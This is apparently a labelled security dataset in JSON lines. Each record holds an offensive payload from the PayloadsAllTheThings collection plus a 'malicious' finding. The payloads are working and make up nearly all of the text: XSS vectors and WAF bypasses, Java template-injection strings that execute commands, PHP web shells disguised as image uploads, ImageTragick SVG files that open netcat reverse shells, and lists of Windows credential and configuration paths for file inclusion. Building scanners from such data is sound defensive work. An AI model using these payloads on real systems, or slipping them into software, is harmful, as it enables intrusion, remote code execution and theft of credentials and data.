href=javas&#99;ript:alert(1)>\n    ```\n\n## Fortiweb WAF\n\n* 9th July 2019 - [@rezaduty](https://twitter.com/rezaduty)\n\n    ```javascript\n    \\u003e\\u003c\\u0068\\u0031 onclick=alert('1')\\u003e\n    ```\n", "findings": [{"category": "malicious", "subcategory": "malicious.injection", "severity": "high", "explanation": "Cross-site scripting payload from XSS Injection/3 - XSS Common WAF Bypass.md. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00050", "source": "payloads_all_the_things", "source_license": "MIT", "text": "# Server Side Template Injection - Java\n\n> Server-Side Template Injection (SSTI)  is a security vulnerability that occurs when user input is embedded into server-side templates in an unsafe manner, allowing attackers to inject and execute arbitrary code. In Java, SSTI can be particularly dangerous due to the power and flexibility of Java-based templating engines such as JSP (JavaServer Pages), Thymeleaf, and FreeMarker.\n\n## Summary\n\n- [Templating Libraries](#templating-libraries)\n- [Java EL](#java-el)\n    - [Java EL - Basic Injection](#java-el---basic-injection)\n    - [Java EL - Code Execution](#java-el---code-execution)\n- [Freemarker](#freemarker)\n    - [Freemarker - Basic Injection](#freemarker---basic-injection)\n    - [Freemarker - Read File](#freemarker---read-file)\n    - [Freemarker - Code Execution](#freemarker---code-execution)\n    - [Freemarker - Code Execution with Obfuscation](#freemarker---code-execution-with-obfuscation)\n    - [Freemarker - Sandbox Bypass](#freemarker---sandbox-bypass)\n- [Jinjava](#jinjava)\n    - [Jinjava - Basic Injection](#jinjava---basic-injection)\n    - [Jinjava - Command Execution](#jinjava---command-execution)\n- [Pebble](#pebble)\n    - [Pebble - Basic Injection](#pebble---basic-injection)\n    - [Pebble - Code Execution](#pebble---code-execution)\n- [Velocity](#velocity)\n- [Groovy](#groovy)\n    - [Groovy - Basic Injection](#groovy---basic-injection)\n    - [Groovy - Read File](#groovy---read-file)\n    - [Groovy - HTTP Request:](#groovy---http-request)\n    - [Groovy - Command Execution](#groovy---command-execution)\n    - [Groovy - Command Execution with Obfuscation](#groovy---command-execution-with-obfuscation)\n    - [Groovy - Sandbox Bypass](#groovy---sandbox-bypass)\n- [Spring Expression Language](#spring-expression-language)\n    - [SpEL - Basic Injection](#spel---basic-injection)\n    - [SpEL - Retrieve Environment Variables](#spel---retrieve-environment-variables)\n    - [SpEL - Retrieve /etc/passwd](#spel---retrieve-etcpasswd)\n    - [SpEL - DNS Exfiltration](#spel---dns-exfiltration)\n    - [SpEL - Session Attributes](#spel---session-attributes)\n    - [SpEL - Command Execution](#spel---command-execution)\n- [Object-Graph Navigation Language](#object-graph-navigation-language)\n    - [OGNL - Basic Injection](#ognl---basic-injection)\n    - [OGNL - Command Execution](#ognl---command-execution)\n- [References](#references)\n\n## Templating Libraries\n\n| Template Name | Payload Format         |\n|---------------|------------------------|\n| Codepen       | `#{ }`                 |\n| Freemarker    | `${ }`, `#{ }`, `[= ]` |\n| Groovy        | `${ }`                 |\n| Jinjava       | `{{ }}`                |\n| Pebble        | `{{ }}`                |\n| SpEL          | `*{ }`, `#{ }`, `${ }` |\n| Thymeleaf     | `[[ ]]`                |\n| Velocity      | `#set($X=\"\") $X`       |\n\n## Java EL\n\n### Java EL - Basic Injection\n\nJava has multiple Expression Languages using similar syntax.\n\n> Multiple variable expressions can be used, if `${...}` doesn't work try `#{...}`, `*{...}`, `@{...}` or `~{...}`.\n\n```java\n${7*7}\n${{7*7}}\n${class.getClassLoader()}\n${class.getResource(\"\").getPath()}\n${class.getResource(\"../../../../../index.htm\").getContent()}\n```\n\n### Java EL - Code Execution\n\n```java\n${''.getClass().forName('java.lang.String').getConstructor(''.getClass().forName('[B')).newInstance(''.getClass().forName('java.lang.Runtime').getRuntime().exec('id').inputStream.readAllBytes())} // Rendered RCE\n${''.getClass().forName('java.lang.Integer').valueOf('x'+''.getClass().forName('java.lang.String').getConstructor(''.getClass().forName('[B')).newInstance(''.getClass().forName('java.lang.Runtime').getRuntime().exec('id').inputStream.readAllBytes()))} // Error-Based RCE\n${1/((''.getClass().forName('java.lang.Runtime').getRuntime().exec('id').waitFor()==0)?1:0)+''} // Boolean-Based RCE\n${(''.getClass().forName('java.lang.Runtime').getRuntime().exec('id').waitFor().equals(0)?(''.getClass().forName('java.lang.Thread')).sleep(5", "findings": [{"category": "malicious", "subcategory": "malicious.ssti", "severity": "high", "explanation": "Server-side template injection payload from Server Side Template Injection/Java.md. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00051", "source": "payloads_all_the_things", "source_license": "MIT", "text": "<div id=\"1\"><form id=\"test\"></form><button form=\"test\" formaction=\"javascript:alert(1)\">X</button>//[\"'`-->]]>]</div><div id=\"2\"><meta charset=\"x-imap4-modified-utf7\">&ADz&AGn&AG0&AEf&ACA&AHM&AHI&AGO&AD0&AGn&ACA&AG8Abg&AGUAcgByAG8AcgA9AGEAbABlAHIAdAAoADEAKQ&ACAAPABi//[\"'`-->]]>]</div><div id=\"3\"><meta charset=\"x-imap4-modified-utf7\">&<script&S1&TS&1>alert&A7&(1)&R&UA;&&<&A9&11/script&X&>//[\"'`-->]]>]</div><div id=\"4\">0?<script>Worker(\"#\").onmessage=function(_)eval(_.data)</script> :postMessage(importScripts('data:;base64,cG9zdE1lc3NhZ2UoJ2FsZXJ0KDEpJyk'))//[\"'`-->]]>]</div><div id=\"5\"><script>crypto.generateCRMFRequest('CN=0',0,0,null,'alert(5)',384,null,'rsa-dual-use')</script>//[\"'`-->]]>]</div><div id=\"6\"><script>({set/**/$($){_/**/setter=$,_=1}}).$=alert</script>//[\"'`-->]]>]</div><div id=\"7\"><input onfocus=alert(7) autofocus>//[\"'`-->]]>]</div><div id=\"8\"><input onblur=alert(8) autofocus><input autofocus>//[\"'`-->]]>]</div><div id=\"9\"><a style=\"-o-link:'javascript:alert(9)';-o-link-source:current\">X</a>//[\"'`-->]]>]</div><div id=\"10\"><video poster=javascript:alert(10)//></video>//[\"'`-->]]>]</div><div id=\"11\"><svg xmlns=\"http://www.w3.org/2000/svg\"><g onload=\"javascript:alert(11)\"></g></svg>//[\"'`-->]]>]</div><div id=\"12\"><body onscroll=alert(12)><br><br><br><br><br><br>...<br><br><br><br><input autofocus>//[\"'`-->]]>]</div><div id=\"13\"><x repeat=\"template\" repeat-start=\"999999\">0<y repeat=\"template\" repeat-start=\"999999\">1</y></x>//[\"'`-->]]>]</div><div id=\"14\"><input pattern=^((a+.)a)+$ value=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!>//[\"'`-->]]>]</div><div id=\"15\"><script>({0:#0=alert/#0#/#0#(0)})</script>//[\"'`-->]]>]</div><div id=\"16\">X<x style=`behavior:url(#default#time2)` onbegin=`alert(16)` >//[\"'`-->]]>]</div><div id=\"17\"><?xml-stylesheet href=\"javascript:alert(17)\"?><root/>//[\"'`-->]]>]</div><div id=\"18\"><script xmlns=\"http://www.w3.org/1999/xhtml\">&#x61;l&#x65;rt&#40;1)</script>//[\"'`-->]]>]</div><div id=\"19\"><meta charset=\"x-mac-farsi\">\u00bcscript \u00bealert(19)//\u00bc/script \u00be//[\"'`-->]]>]</div><div id=\"20\"><script>ReferenceError.prototype.__defineGetter__('name', function(){alert(20)}),x</script>//[\"'`-->]]>]</div><div id=\"21\"><script>Object.__noSuchMethod__ = Function,[{}][0].constructor._('alert(21)')()</script>//[\"'`-->]]>]</div><div id=\"22\"><input onblur=focus() autofocus><input>//[\"'`-->]]>]</div><div id=\"23\"><form id=test onforminput=alert(23)><input></form><button form=test onformchange=alert(2)>X</button>//[\"'`-->]]>]</div><div id=\"24\">1<set/xmlns=`urn:schemas-microsoft-com:time` style=`beh&#x41vior:url(#default#time2)` attributename=`innerhtml` to=`&lt;img/src=&quot;x&quot;onerror=alert(24)&gt;`>//[\"'`-->]]>]</div><div id=\"25\"><script src=\"#\">{alert(25)}</script>;1//[\"'`-->]]>]</div><div id=\"26\">+ADw-html+AD4APA-body+AD4APA-div+AD4-top secret+ADw-/div+AD4APA-/body+AD4APA-/html+AD4-.toXMLString().match(/.*/m),alert(RegExp.input);//[\"'`-->]]>]</div><div id=\"27\"><style>p[foo=bar{}*{-o-link:'javascript:alert(27)'}{}*{-o-link-source:current}*{background:red}]{background:green};</style>//[\"'`-->]]>]</div>\n<div id=\"28\">1<animate/xmlns=urn:schemas-microsoft-com:time style=behavior:url(#default#time2)  attributename=innerhtml values=&lt;img/src=&quot;.&quot;onerror=alert(28)&gt;>//[\"'`-->]]>]</div>\n<div id=\"29\"><link rel=stylesheet href=data:,*%7bx:expression(alert(29))%7d//[\"'`-->]]>]</div><div id=\"30\"><style>@import \"data:,*%7bx:expression(alert(30))%7D\";</style>//[\"'`-->]]>]</div><div id=\"31\"><frameset onload=alert(31)>//[\"'`-->]]>]</div><div id=\"32\"><table background=\"javascript:alert(32)\"></table>//[\"'`-->]]>]</div><div id=\"33\"><a style=\"pointer-events:none;position:absolute;\"><a style=\"position:absolute;\" onclick=\"alert(33);\">XXX</a></a><a href=\"javascript:alert(2)\">XXX</a>//[\"'`-->]]>]</div><div id=\"34\">1<vmlframe xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute;width:100%;height:100% src=test.vml#xss></vmlframe>//[\"'`-->]]>]</div><div id=\"35\">1<a href=#><line xmlns=urn:schemas-micros", "findings": [{"category": "malicious", "subcategory": "malicious.injection", "severity": "high", "explanation": "Cross-site scripting payload from XSS Injection/MarioXSSVectors.txt. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00052", "source": "payloads_all_the_things", "source_license": "MIT", "text": "<?php echo \"Shell\";system($_GET['cmd']); ?>", "findings": [{"category": "malicious", "subcategory": "malicious.shell", "severity": "critical", "explanation": "Malicious file upload payload from Upload Insecure Files/shell.jpeg.php. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00053", "source": "payloads_all_the_things", "source_license": "MIT", "text": "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?>\n<!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\" \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\">\n<svg version=\"1.1\" id=\"Layer_1\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" x=\"0px\" y=\"0px\" width=\"1px\" height=\"1px\" viewBox=\"0 0 1 1\" enable-background=\"new 0 0 1 1\" xml:space=\"preserve\">  <image id=\"image0\" width=\"1\" height=\"1\" x=\"0\" y=\"0\"\n    xlink:href=\"&#x7c;&#x6d;&#x6b;&#x66;&#x69;&#x66;&#x6f;&#x20;&#x2f;&#x74;&#x6d;&#x70;&#x2f;&#x73;&#x6f;&#x6b;&#x74;&#x3b;&#x20;&#x6e;&#x63;&#x20;&#x31;&#x32;&#x37;&#x2e;&#x30;&#x2e;&#x30;&#x2e;&#x31;&#x20;&#x34;&#x34;&#x34;&#x34;&#x20;&#x30;&#x3c;&#x2f;&#x74;&#x6d;&#x70;&#x2f;&#x73;&#x6f;&#x6b;&#x74;&#x20;&#x7c;&#x20;&#x2f;&#x62;&#x69;&#x6e;&#x2f;&#x73;&#x68;&#x20;&#x3e;&#x2f;&#x74;&#x6d;&#x70;&#x2f;&#x73;&#x6f;&#x6b;&#x74;&#x20;&#x32;&#x3e;&#x26;&#x31;&#x3b;&#x20;&#x72;&#x6d;&#x20;&#x2f;&#x74;&#x6d;&#x70;&#x2f;&#x73;&#x6f;&#x6b;&#x74;&#x20;\" />\n</svg>\n", "findings": [{"category": "malicious", "subcategory": "malicious.shell", "severity": "critical", "explanation": "Malicious file upload payload from Upload Insecure Files/imagetragik1_payload_xml_reverse_shell_netcat_encoded.xml. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00054", "source": "payloads_all_the_things", "source_license": "MIT", "text": "# GraphQL Injection\n\n> GraphQL is a query language for APIs and a runtime for fulfilling those queries with existing data. A GraphQL service is created by defining types and fields on those types, then providing functions for each field on each type\n\n## Summary\n\n- [Tools](#tools)\n- [Enumeration](#enumeration)\n    - [Common GraphQL Endpoints](#common-graphql-endpoints)\n    - [Identify An Injection Point](#identify-an-injection-point)\n    - [Enumerate Database Schema via Introspection](#enumerate-database-schema-via-introspection)\n    - [Enumerate Database Schema via Suggestions](#enumerate-database-schema-via-suggestions)\n    - [Enumerate Types Definition](#enumerate-types-definition)\n    - [List Path To Reach A Type](#list-path-to-reach-a-type)\n- [Methodology](#methodology)\n    - [Extract Data](#extract-data)\n    - [Extract Data Using Edges/Nodes](#extract-data-using-edgesnodes)\n    - [Extract Data Using Projections](#extract-data-using-projections)\n    - [Mutations](#mutations)\n    - [GraphQL Batching Attacks](#graphql-batching-attacks)\n        - [JSON List Based Batching](#json-list-based-batching)\n        - [Query Name Based Batching](#query-name-based-batching)\n- [Injections](#injections)\n    - [NOSQL Injection](#nosql-injection)\n    - [SQL Injection](#sql-injection)\n- [Labs](#labs)\n- [References](#references)\n\n## Tools\n\n- [swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap) - Scripting engine to interact with a graphql endpoint for pentesting purposes\n- [doyensec/graph-ql](https://github.com/doyensec/graph-ql/) - GraphQL Security Research Material\n- [doyensec/inql](https://github.com/doyensec/inql) - A Burp Extension for GraphQL Security Testing\n- [doyensec/GQLSpection](https://github.com/doyensec/GQLSpection) - GQLSpection - parses GraphQL introspection schema and generates possible queries\n- [dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum) - Lists the different ways of reaching a given type in a GraphQL schema\n- [andev-software/graphql-ide](https://github.com/andev-software/graphql-ide) - An extensive IDE for exploring GraphQL API's\n- [mchoji/clairvoyancex](https://github.com/mchoji/clairvoyancex) - Obtain GraphQL API schema despite disabled introspection\n- [nicholasaleks/CrackQL](https://github.com/nicholasaleks/CrackQL) - A GraphQL password brute-force and fuzzing utility\n- [nicholasaleks/graphql-threat-matrix](https://github.com/nicholasaleks/graphql-threat-matrix) - GraphQL threat framework used by security professionals to research security gaps in GraphQL implementations\n- [dolevf/graphql-cop](https://github.com/dolevf/graphql-cop) - Security Auditor Utility for GraphQL APIs\n- [dolevf/graphw00f](https://github.com/dolevf/graphw00f) - GraphQL Server Engine Fingerprinting utility\n- [IvanGoncharov/graphql-voyager](https://github.com/IvanGoncharov/graphql-voyager) - Represent any GraphQL API as an interactive graph\n- [Insomnia](https://insomnia.rest/) - Cross-platform HTTP and GraphQL Client\n\n## Enumeration\n\n### Common GraphQL Endpoints\n\nMost of the time GraphQL is located at the `/graphql` or `/graphiql` endpoint.\nA more complete list is available at [danielmiessler/SecLists/graphql.txt](https://github.com/danielmiessler/SecLists/blob/fe2aa9e7b04b98d94432320d09b5987f39a17de8/Discovery/Web-Content/graphql.txt).\n\n```ps1\n/v1/explorer\n/v1/graphiql\n/graph\n/graphql\n/graphql/console/\n/graphql.php\n/graphiql\n/graphiql.php\n```\n\n### Identify An Injection Point\n\n```js\nexample.com/graphql?query={__schema{types{name}}}\nexample.com/graphiql?query={__schema{types{name}}}\n```\n\nCheck if errors are visible.\n\n```javascript\n?query={__schema}\n?query={}\n?query={thisdefinitelydoesnotexist}\n```\n\n### Enumerate Database Schema via Introspection\n\nURL encoded query to dump the database schema.\n\n```js\nfragment+FullType+on+__Type+{++kind++name++description++fields(includeDeprecated%3a+true)+{++++name++++description++++args+{++++++...InputValue++++}++++type+{++++++...TypeRef++++}++++isDeprecated++++deprecatio", "findings": [{"category": "malicious", "subcategory": "malicious.injection", "severity": "high", "explanation": "GraphQL injection payload from GraphQL Injection/README.md. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00055", "source": "payloads_all_the_things", "source_license": "MIT", "text": "# Client Side Path Traversal\n\n> Client-Side Path Traversal (CSPT), sometimes also referred to as \"On-site Request Forgery,\" is a vulnerability that can be exploited as a tool for CSRF or XSS attacks.  \n> It takes advantage of the client side's ability to make requests using fetch to a URL, where multiple \"../\" characters can be injected. After normalization, these characters redirect the request to a different URL, potentially leading to security breaches.  \n> Since every request is initiated from within the frontend of the application, the browser automatically includes cookies and other authentication mechanisms, making them available for exploitation in these attacks.\n\n## Summary\n\n* [Tools](#tools)\n* [Methodology](#methodology)\n    * [CSPT to XSS](#cspt-to-xss)\n    * [CSPT to CSRF](#cspt-to-xss)\n* [Labs](#labs)\n* [References](#references)\n\n## Tools\n\n* [doyensec/CSPTBurpExtension](https://github.com/doyensec/CSPTBurpExtension) - CSPT is an open-source Burp Suite extension to find and exploit Client-Side Path Traversal.\n\n## Methodology\n\n### CSPT to XSS\n\n![cspt-query-param](https://matanber.com/images/blog/cspt-query-param.png)\n\nA post-serving page calls the fetch function, sending a request to a URL with attacker-controlled input which is not properly encoded in its path, allowing the attacker to inject `../` sequences to the path and make the request get sent to an arbitrary endpoint. This behavior is referred to as a CSPT vulnerability.\n\n**Example**:\n\n* The page `https://example.com/static/cms/news.html` takes a `newsitemid` as parameter\n* Then fetch the content of `https://example.com/newitems/<newsitemid>`\n* A text injection was also discovered in `https://example.com/pricing/default.js` via the `cb` parameter\n* Final payload is `https://example.com/static/cms/news.html?newsitemid=../pricing/default.js?cb=alert(document.domain)//`\n\n### CSPT to CSRF\n\nA CSPT is redirecting legitimate HTTP requests, allowing the front end to add necessary tokens for API calls, such as authentication or CSRF tokens. This capability can potentially be exploited to circumvent existing CSRF protection measures.\n\n|                                             | CSRF               | CSPT2CSRF          |\n| ------------------------------------------- | -----------------  | ------------------ |\n| POST CSRF ?                                 | :white_check_mark: | :white_check_mark: |\n| Can control the body ?                      | :white_check_mark: | :x:                |\n| Can work with anti-CSRF token ?             | :x:                | :white_check_mark: |\n| Can work with Samesite=Lax ?                | :x:                | :white_check_mark: |\n| GET / PATCH / PUT / DELETE CSRF ?           | :x:                | :white_check_mark: |\n| 1-click CSRF ?                              | :x:                | :white_check_mark: |\n| Does impact depend on source and on sinks ? | :x:                | :white_check_mark: |\n\nReal-World Scenarios:\n\n* 1-click CSPT2CSRF in Rocket.Chat\n* CVE-2023-45316: CSPT2CSRF with a POST sink in Mattermost : `/<team>/channels/channelname?telem_action=under_control&forceRHSOpen&telem_run_id=../../../../../../api/v4/caches/invalidate`\n* CVE-2023-6458: CSPT2CSRF with a GET sink in Mattermost\n* [Client Side Path Manipulation - erasec.be](https://www.erasec.be/blog/client-side-path-manipulation/): CSPT2CSRF `https://example.com/signup/invite?email=foo%40bar.com&inviteCode=123456789/../../../cards/123e4567-e89b-42d3-a456-556642440000/cancel?a=`\n* [CVE-2023-5123 : CSPT2CSRF in Grafana\u2019s JSON API Plugin](https://medium.com/@maxime.escourbiac/grafana-cve-2023-5123-write-up-74e1be7ef652)\n\n## Labs\n\n* [doyensec/CSPTPlayground](https://github.com/doyensec/CSPTPlayground) - CSPTPlayground is an open-source playground to find and exploit Client-Side Path Traversal (CSPT).\n* [Root Me - CSPT - The Ruler](https://www.root-me.org/en/Challenges/Web-Client/CSPT-The-Ruler)\n\n## References\n\n* [Exploiting Client-Side Path Traversal to Perform Cross-Site ", "findings": [{"category": "malicious", "subcategory": "malicious.injection", "severity": "high", "explanation": "Client-side path traversal payload from Client Side Path Traversal/README.md. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00056", "source": "payloads_all_the_things", "source_license": "MIT", "text": "# Carriage Return Line Feed\n\n> CRLF Injection is a web security vulnerability that arises when an attacker injects unexpected Carriage Return (CR) (\\r) and Line Feed (LF) (\\n) characters into an application. These characters are used to signify the end of a line and the start of a new one in network protocols like HTTP, SMTP, and others. In the HTTP protocol, the CR-LF sequence is always used to terminate a line.\n\n## Summary\n\n* [Methodology](#methodology)\n    * [Session Fixation](#session-fixation)\n    * [Cross Site Scripting](#cross-site-scripting)\n    * [Open Redirect](#open-redirect)\n* [Filter Bypass](#filter-bypass)\n* [Labs](#labs)\n* [References](#references)\n\n## Methodology\n\nHTTP Response Splitting is a security vulnerability where an attacker manipulates an HTTP response by injecting Carriage Return (CR) and Line Feed (LF) characters (collectively called CRLF) into a response header. These characters mark the end of a header and the start of a new line in HTTP responses.\n\n**CRLF Characters**:\n\n* `CR` (`\\r`, ASCII 13): Moves the cursor to the beginning of the line.\n* `LF` (`\\n`, ASCII 10): Moves the cursor to the next line.\n\nBy injecting a CRLF sequence, the attacker can break the response into two parts, effectively controlling the structure of the HTTP response. This can result in various security issues, such as:\n\n* Cross-Site Scripting (XSS): Injecting malicious scripts into the second response.\n* Cache Poisoning: Forcing incorrect content to be stored in caches.\n* Header Manipulation: Altering headers to mislead users or systems\n\n### Session Fixation\n\nA typical HTTP response header looks like this:\n\n```http\nHTTP/1.1 200 OK\nContent-Type: text/html\nSet-Cookie: sessionid=abc123\n```\n\nIf user input `value\\r\\nSet-Cookie: admin=true` is embedded into the headers without sanitization:\n\n```http\nHTTP/1.1 200 OK\nContent-Type: text/html\nSet-Cookie: sessionid=value\nSet-Cookie: admin=true\n```\n\nNow the attacker has set their own cookie.\n\n### Cross Site Scripting\n\nBeside the session fixation that requires a very insecure way of handling user session, the easiest way to exploit a CRLF injection is to write a new body for the page. It can be used to create a phishing page or to trigger an arbitrary Javascript code (XSS).\n\n**Requested page**:\n\n```http\nhttp://www.example.net/index.php?lang=en%0D%0AContent-Length%3A%200%0A%20%0AHTTP/1.1%20200%20OK%0AContent-Type%3A%20text/html%0ALast-Modified%3A%20Mon%2C%2027%20Oct%202060%2014%3A50%3A18%20GMT%0AContent-Length%3A%2034%0A%20%0A%3Chtml%3EYou%20have%20been%20Phished%3C/html%3E\n```\n\n**HTTP response**:\n\n```http\nSet-Cookie:en\nContent-Length: 0\n\nHTTP/1.1 200 OK\nContent-Type: text/html\nLast-Modified: Mon, 27 Oct 2060 14:50:18 GMT\nContent-Length: 34\n\n<html>You have been Phished</html>\n```\n\nIn the case of an XSS, the CRLF injection allows to inject the `X-XSS-Protection` header with the value value \"0\", to disable it. And then we can add our HTML tag containing Javascript code .\n\n**Requested page**:\n\n```powershell\nhttp://example.com/%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23%0d%0a<svg%20onload=alert(document.domain)>%0d%0a0%0d%0a/%2f%2e%2e\n```\n\n**HTTP Response**:\n\n```http\nHTTP/1.1 200 OK\nDate: Tue, 20 Dec 2016 14:34:03 GMT\nContent-Type: text/html; charset=utf-8\nContent-Length: 22907\nConnection: close\nX-Frame-Options: SAMEORIGIN\nLast-Modified: Tue, 20 Dec 2016 11:50:50 GMT\nETag: \"842fe-597b-54415a5c97a80\"\nVary: Accept-Encoding\nX-UA-Compatible: IE=edge\nServer: NetDNA-cache/2.2\nLink: https://example.com/[INJECTION STARTS HERE]\nContent-Length:35\nX-XSS-Protection:0\n\n23\n<svg onload=alert(document.domain)>\n0\n```\n\n### Open Redirect\n\nInject a `Location` header to force a redirect for the user.\n\n```ps1\n%0d%0aLocation:%20http://myweb.com\n```\n\n## Filter Bypass\n\n[RFC 7230](https://datatracker.ietf.org/doc/html/rfc7230#section-3.2.4) states that most HTTP header field values use only a subset of the US-ASCII charset.\n\n> Newly defined header fields SHOULD limit their field values to US-ASCII oc", "findings": [{"category": "malicious", "subcategory": "malicious.injection", "severity": "high", "explanation": "CRLF injection payload from CRLF Injection/README.md. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00057", "source": "payloads_all_the_things", "source_license": "MIT", "text": "<?php echo \"Shell\";system($_GET['cmd']); ?>\n", "findings": [{"category": "malicious", "subcategory": "malicious.shell", "severity": "critical", "explanation": "Malicious file upload payload from Upload Insecure Files/shell.jpg^shell.php. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00058", "source": "payloads_all_the_things", "source_license": "MIT", "text": "<?xml version=\"1.0\" standalone=\"no\"?>\n<!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\"\n\"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\">\n<svg width=\"640px\" height=\"480px\" version=\"1.1\"\nxmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\n\"http://www.w3.org/1999/xlink\">\n<image xlink:href=\"https://example.com/image.jpg&quot;|/bin/nc.traditional 127.0.0.1 4242 -e /bin/bash&quot;\"\nx=\"0\" y=\"0\" height=\"640px\" width=\"480px\"/>\n</svg>", "findings": [{"category": "malicious", "subcategory": "malicious.shell", "severity": "critical", "explanation": "Malicious file upload payload from Upload Insecure Files/imagetragik1_payload_xml_reverse_shell_nctraditional.xml. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00059", "source": "payloads_all_the_things", "source_license": "MIT", "text": "php://input\nC:\\boot.ini\nC:\\WINDOWS\\win.ini\nC:\\WINDOWS\\php.ini\nC:\\WINDOWS\\System32\\Config\\SAM\nC:\\WINNT\\php.ini\nC:\\xampp\\phpMyAdmin\\config.inc\nC:\\xampp\\phpMyAdmin\\phpinfo.php\nC:\\xampp\\phpmyadmin\\config.inc\nC:\\xampp\\phpmyadmin\\phpinfo.php\nC:\\xampp\\phpmyadmin\\config.inc.php\nC:\\xampp\\phpMyAdmin\\config.inc.php\nC:\\xampp\\apache\\conf\\httpd.conf\nC:\\xampp\\FileZillaFTP\\FileZilla Server.xml\nC:\\xampp\\MercuryMail\\mercury.ini\nC:\\mysql\\bin\\my.ini\nC:\\xampp\\php\\php.ini\nC:\\xampp\\phpMyAdmin\\config.inc.php\nC:\\xampp\\tomcat\\conf\\tomcat-users.xml\nC:\\xampp\\tomcat\\conf\\web.xml\nC:\\xampp\\sendmail\\sendmail.ini\nC:\\xampp\\webalizer\\webalizer.conf\nC:\\xampp\\webdav\\webdav.txt\nC:\\xampp\\apache\\logs\\error.log\nC:\\xampp\\apache\\logs\\access.log\nC:\\xampp\\FileZillaFTP\\Logs\nC:\\xampp\\FileZillaFTP\\Logs\\error.log\nC:\\xampp\\FileZillaFTP\\Logs\\access.log\nC:\\xampp\\MercuryMail\\LOGS\\error.log\nC:\\xampp\\MercuryMail\\LOGS\\access.log\nC:\\xampp\\mysql\\data\\mysql.err\nC:\\xampp\\sendmail\\sendmail.log\nC:\\apache\\log\\error.log\nC:\\apache\\log\\access.log\nC:\\apache\\log\\error_log\nC:\\apache\\log\\access_log\nC:\\apache2\\log\\error.log\nC:\\apache2\\log\\access.log\nC:\\apache2\\log\\error_log\nC:\\apache2\\log\\access_log\nC:\\log\\error.log\nC:\\log\\access.log\nC:\\log\\error_log\nC:\\log\\access_log\nC:\\apache\\logs\\error.log\nC:\\apache\\logs\\access.log\nC:\\apache\\logs\\error_log\nC:\\apache\\logs\\access_log\nC:\\apache2\\logs\\error.log\nC:\\apache2\\logs\\access.log\nC:\\apache2\\logs\\error_log\nC:\\apache2\\logs\\access_log\nC:\\logs\\error.log\nC:\\logs\\access.log\nC:\\logs\\error_log\nC:\\logs\\access_log\nC:\\log\\httpd\\access_log\nC:\\log\\httpd\\error_log\nC:\\logs\\httpd\\access_log\nC:\\logs\\httpd\\error_log\nC:\\opt\\xampp\\logs\\access_log\nC:\\opt\\xampp\\logs\\error_log\nC:\\opt\\xampp\\logs\\access.log\nC:\\opt\\xampp\\logs\\error.log\nC:\\Program Files\\Apache Group\\Apache\\logs\\access.log\nC:\\Program Files\\Apache Group\\Apache\\logs\\error.log\nC:\\Program Files\\Apache Group\\Apache\\conf\\httpd.conf\nC:\\Program Files\\Apache Group\\Apache2\\conf\\httpd.conf\nC:\\Program Files\\xampp\\apache\\conf\\httpd.conf\n", "findings": [{"category": "malicious", "subcategory": "malicious.injection", "severity": "critical", "explanation": "File inclusion payload from File Inclusion/LFI-WindowsFileCheck.txt. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00060", "source": "payloads_all_the_things", "source_license": "MIT", "text": "'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Eshadowlabs(0x000045)%3C/script%3E\n<<scr\\0ipt/src=http://xss.com/xss.js></script\n%27%22--%3E%3C%2Fstyle%3E%3C%2Fscript%3E%3Cscript%3ERWAR%280x00010E%29%3C%2Fscript%3E\n' onmouseover=alert(/Black.Spook/)\n\"><iframe%20src=\"http://google.com\"%%203E\n'<script>window.onload=function(){document.forms[0].message.value='1';}</script>\nx\u201d</title><img src%3dx onerror%3dalert(1)>\n<script> document.getElementById(%22safe123%22).setCapture(); document.getElementById(%22safe123%22).click(); </script>\n<script>Object.defineProperties(window, {Safe: {value: {get: function() {return document.cookie}}}});alert(Safe.get())</script>\n<script>var x = document.createElement('iframe');document.body.appendChild(x);var xhr = x.contentWindow.XMLHttpRequest();xhr.open('GET', 'http://xssme.html5sec.org/xssme2', true);xhr.onload = function() { alert(xhr.responseText.match(/cookie = '(.*?)'/)[1]) };xhr.send();</script>\n<script>(function() {var event = document.createEvent(%22MouseEvents%22);event.initMouseEvent(%22click%22, true, true, window, 0, 0, 0, 0, 0, false, false, false, false, 0, null);var fakeData = [event, {isTrusted: true}, event];arguments.__defineGetter__('0', function() { return fakeData.pop(); });alert(Safe.get.apply(null, arguments));})();</script>\n<script>var script = document.getElementsByTagName('script')[0]; var clone = script.childNodes[0].cloneNode(true); var ta = document.createElement('textarea'); ta.appendChild(clone); alert(ta.value.match(/cookie = '(.*?)'/)[1])</script>\n<script>xhr=new 